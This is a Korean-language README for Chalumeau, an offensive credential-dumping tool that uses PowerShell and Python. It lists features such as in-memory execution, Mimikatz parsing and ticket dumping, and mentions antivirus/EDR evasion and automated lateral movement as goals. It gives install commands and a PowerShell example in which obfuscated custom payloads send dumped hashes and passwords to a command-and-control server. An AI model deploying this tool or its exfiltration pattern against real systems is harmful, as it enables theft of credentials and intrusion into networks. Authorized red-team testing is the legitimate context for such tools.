Chalumeau

Chalumeau는 PowerShell과 Python 기반의 자동화되고 확장 가능하며 사용자 정의 가능한 자격 증명 덤핑 도구입니다.

주요 기능

• 자신만의 페이로드 작성
• 메모리 내 실행
• 비밀번호 목록 추출
• 대시보드 보고 / 웹 인터페이스
• Mimikatz 파싱
• 티켓 덤핑

스크린샷

알려진 문제

• Mimikatz dcsync 파싱 (수정 작업 중)
• 바이러스 백신 및 EDR 우회, 페이로드 유지 필요

TODO

• 암호화된 통신
• 자동 횡적 이동
• 자동 비밀번호 스프레이
• 자동 해시 크래킹

사용법

git clone https://github.com/cyberstruggle/chalumeau.git
cd chalumeau/
chmod +x install.sh
sudo ./install.sh

# Run
chmod +x start.sh

sudo ./start.sh

자신만의 페이로드 작성

자격 증명 덤핑을 위한 자신의 PowerShell 페이로드를 난독화하고 import 없이 chalumeau 함수 호출을 사용하세요. chalumeau는 C2와 통신을 암호화하고 덤프된 자격 증명을 전송합니다. 파일을 chalumeau-power/payloads 아래에 저장하세요.

• ChalumeauSendCredentials 함수 사용
  • ChalumeauSendCredentials
    • Secret = 덤프된 해시 또는 일반 텍스트 비밀번호 (문자열)
    • Username = 덤프된 자격 증명의 사용자 이름 또는 ID (문자열)
    • IsClearText = 일반 텍스트이면 1, 아니면 0 (정수)
    • Source = 소스 페이로드를 "Mimikatz Hash"와 같이 언급 (문자열)

# Custom Payload Example
# $DumpedHashes is array of dumped hashes from the local machine
foreach ($hash in $DumpedHashes){
    ChalumeauSendCredentials -Secret $hash.secret -Username $hash.user -IsClearText 0 -source "My custom payload"
} 

크레딧

• wazehell 저자
• Invoke-Obfuscation Daniel Bohannon
• Invoke-Mimikatz PowerSploit
• Get-PassHashes nishang
• Chalumeau 로고 Aureliano
• Invoke-MassMimikatz PowerTools